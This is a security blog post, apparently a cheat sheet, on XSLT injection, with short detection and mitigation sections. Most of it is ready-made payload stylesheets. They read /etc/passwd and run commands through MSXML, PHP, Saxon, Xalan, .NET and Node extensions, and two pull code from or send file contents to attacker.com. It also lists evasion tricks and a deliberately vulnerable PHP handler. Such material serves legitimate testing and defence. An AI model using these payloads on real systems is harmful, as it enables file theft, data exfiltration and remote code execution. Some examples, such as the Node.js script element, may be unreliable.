Post

XSLT Injection

XSLT Injection

What is XSLT Injection?

XSLT (Extensible Stylesheet Language Transformations) injection occurs when an attacker can control or modify XSLT stylesheets that are processed by an application. Since XSLT processors can have powerful capabilities, including file system access and external command execution (in some implementations), this can lead to serious security vulnerabilities.

XSLT Basics

XSLT is used to transform XML documents into other formats (HTML, XML, plain text, etc.):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <body>
        <h2>Employee List</h2>
        <table>
          <xsl:for-each select="employees/employee">
            <tr>
              <td><xsl:value-of select="name"/></td>
              <td><xsl:value-of select="position"/></td>
            </tr>
          </xsl:for-each>
        </table>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

XSLT Version Differences

XSLT 1.0

  • Limited functionality
  • No native file/system access

XSLT 2.0

  • Enhanced functionality
  • More functions and capabilities
  • Still limited system access

XSLT 3.0

  • Most powerful
  • Extended functionality
  • More exploitation potential

Common Attack Vectors

1. Access to External Resources

1
2
3
4
5
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

2. Information Disclosure

1
2
3
4
5
6
7
8
9
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>, </xsl:text>
    <xsl:value-of select="system-property('xsl:vendor-url')"/>
    <xsl:text>, </xsl:text>
    <xsl:value-of select="system-property('xsl:version')"/>
  </xsl:template>
</xsl:stylesheet>

3. Script Execution (MSXML)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

  <msxsl:script language="JScript" implements-prefix="user">
    function xml(nodelist) {
      var r = new ActiveXObject("WScript.Shell");
      r.Run("cmd.exe /c calc.exe");
      return nodelist.nextNode().xml;
    }
  </msxsl:script>

  <xsl:template match="/">
    <xsl:value-of select="user:xml(.)"/>
  </xsl:template>

</xsl:stylesheet>

4. PHP Extension Exploitation

1
2
3
4
5
6
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system','id')"/>
  </xsl:template>
</xsl:stylesheet>

5. Java Extension Exploitation (Saxon)

1
2
3
4
5
6
7
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
  <xsl:template match="/">
    <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /c calc')" 
    xmlns:Runtime="java:java.lang.Runtime"/>
  </xsl:template>
</xsl:stylesheet>

6. .NET Extension Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:cs="http://csharp.com/mynamespace">

  <msxsl:script language="C#" implements-prefix="cs">
    public string execute() {
      System.Diagnostics.Process.Start("calc.exe");
      return "";
    }
  </msxsl:script>

  <xsl:template match="/">
    <xsl:value-of select="cs:execute()"/>
  </xsl:template>

</xsl:stylesheet>

7. Node.js Extension Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:node="http://nodejskit.com/ns">

  <!-- Using node-libxslt -->
  <node:script>
    const { execSync } = require('child_process');
    exports.runCommand = function() {
      return execSync('id').toString();
    };
  </node:script>

  <xsl:template match="/">
    <xsl:value-of select="node:runCommand()"/>
  </xsl:template>

</xsl:stylesheet>

XSLT Processor-Specific Attacks

1. Xalan Processor (Java)

1
2
3
4
5
6
7
8
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtObj, 'calc.exe')"/>
    <xsl:value-of select="process"/>
  </xsl:template>
</xsl:stylesheet>

2. libxslt (Used by PHP, Python)

1
2
3
4
5
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

3. Saxon

1
2
3
4
5
6
7
8
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <!-- If Saxon-PE or Saxon-EE with feature:allow-external-functions is set to true -->
  <xsl:variable name="cmd"><![CDATA[/usr/bin/id]]></xsl:variable>
  <xsl:variable name="rtObj" select="runtime:getRuntime()" 
    xmlns:runtime="java.lang.Runtime"/>
  <xsl:variable name="process" select="runtime:exec($rtObj, $cmd)"/>
  <xsl:value-of select="$process"/>
</xsl:stylesheet>

4. Microsoft MSXML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="VBScript" implements-prefix="user">
    Function transform()
      Set shell = CreateObject("WScript.Shell")
      shell.Run "cmd.exe /c calc.exe"
      transform = ""
    End Function
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:transform()"/>
  </xsl:template>
</xsl:stylesheet>

Attack Techniques

Remote File Inclusion

1
2
3
4
5
6
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="http://attacker.com/malicious.xsl"/>
  <xsl:template match="/">
    <!-- Content here -->
  </xsl:template>
</xsl:stylesheet>

File System Access

1
2
3
4
5
6
7
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:for-each select="collection('file:///var/www/')">
      <xsl:value-of select="document-uri(.)"/><br/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

Blind XSLT Injection (Data Exfiltration)

1
2
3
4
5
6
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:variable name="secret" select="document('/etc/passwd')"/>
    <xsl:value-of select="document(concat('http://attacker.com/?data=', encode-for-uri($secret)))"/>
  </xsl:template>
</xsl:stylesheet>

Recursive Processing

1
2
3
4
5
6
7
8
9
10
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:variable name="eval">
      <root>
        <xsl:value-of select="system-property('xsl:vendor')"/>
      </root>
    </xsl:variable>
    <xsl:apply-templates select="$eval"/>
  </xsl:template>
</xsl:stylesheet>

Evasion Techniques

Entity Encoding

1
2
3
4
5
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="unparsed-text('&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#101;&#116;&#99;&#47;&#112;&#97;&#115;&#115;&#119;&#100;')"/>
  </xsl:template>
</xsl:stylesheet>

Dynamic Evaluation

1
2
3
4
5
6
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:variable name="path" select="'file:///etc/passwd'"/>
  <xsl:template match="/">
    <xsl:copy-of select="document($path)"/>
  </xsl:template>
</xsl:stylesheet>

Comment Obfuscation

1
2
3
4
5
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="doc<!--Comment-->ument('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Detection Methods

Testing for XSLT Vulnerability

  1. Input: Inject a simple XSLT that outputs a unique string ```xml
XSLT_INJECTION_TEST_SUCCESSFUL
1
2
3
4
5
6
7
8
2. Input: Check for information disclosure
```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>

Mitigation Strategies

1. Input Validation

  • Validate any user-supplied XSLT
  • Reject stylesheets with suspicious patterns or functions

2. Disable Extension Functions

  • For libxslt:
    1
    2
    3
    4
    
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
      <xsl:output method="xml" omit-xml-declaration="no" indent="yes"/>
      <!-- No extension elements allowed -->
    </xsl:stylesheet>
    
  • For Java:
    1
    2
    
    TransformerFactory factory = TransformerFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    

3. Sandbox Execution

  • Run XSLT transformations in a restricted environment
  • Limit resources and permissions

4. Use Allowlisting

  • Define a set of allowed XSLT elements and functions
  • Reject any stylesheet containing non-whitelisted items

5. Keep Software Updated

  • Apply security patches to XSLT processors regularly

Common Vulnerable Libraries & Versions

  • libxslt: Versions before 1.1.34 (various CVEs)
  • Saxon: Without proper security configuration
  • Xalan-J: Without proper security configuration
  • MSXML: Various versions with scripting enabled

Real-world Exploitation Examples

PHP + libxslt Exploit

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml = new DOMDocument();
$xml->loadXML('<root>test</root>');

$xsl = new DOMDocument();
$xsl->loadXML($_POST['xslt']); // User-controlled input!

$proc = new XSLTProcessor();
$proc->importStyleSheet($xsl);
echo $proc->transformToXML($xml);
?>

Malicious XSLT:

1
2
3
4
5
6
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system', 'id')"/>
  </xsl:template>
</xsl:stylesheet>

Java Example

1
2
3
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(new StreamSource(userInputXslt));
transformer.transform(new StreamSource(xmlInput), new StreamResult(output));

References

This post is licensed under CC BY 4.0 by the author.